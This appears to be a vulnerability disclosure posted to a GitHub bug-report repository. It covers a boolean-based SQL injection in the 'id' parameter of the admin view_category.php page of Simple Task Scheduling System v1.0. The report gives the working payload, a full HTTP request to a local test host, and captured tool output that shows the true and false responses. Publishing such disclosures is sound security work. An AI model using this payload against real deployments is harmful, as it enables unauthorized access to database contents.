

main

...

bug_report / vendors / oretnom23 / simple-task-scheduler-system / SQLi-1.md



Nujabe4 Create SQLi-1.md

History

1 contributor

33 lines (23 sloc) | 1.25 KB

...

Simple Task Scheduling System v1.0 by oretnom23 has SQL injection

BUG_Author: RUST

vendors: <https://www.sourcecodester.com/php/15328/simple-task-scheduler-system-phpoop-free-source-code.html>

The program is built using the xmapp-php5.6 version

Vulnerability File: /tss/admin/categories/view_category.php

Vulnerability location: /tss/admin/categories/view_category.php, id

db_name = tss_db;length=6

[+] Payload: /tss/admin/categories/view_category.php?

id=1%27%20and%20length(database())%20=6--+ // Leak place ---> id

```
GET /tss/admin/categories/view_category.php?id=1%27%20and%20length(database())%20=6-
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=tc6akb10bh652defck09t9eug4

Connection: close



When length (database ()) = 6

INI SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING*

Load URL 192.168.1.19/tss/admin/categories/view_category.php?id=1' and length(database()) =6--+

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Inse

User

Adminstrator Admin

Name

Sample Category 101

Status

Active

Close

When length (database ()) = 5

INI SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* UTF

Load URL 192.168.1.19/tss/admin/categories/view_category.php?id=1' and length(database()) =5|--+

Split URL

Execute

☐ Post data ☐ Referrer 0xHEX %URL BASE64 Insert string to replace Insert replaci

User

Name

Status

Notice: Undefined variable: status in C:\xampp\htdocs\tss\admin\categories\view_category.php on line 28

Inactive

Close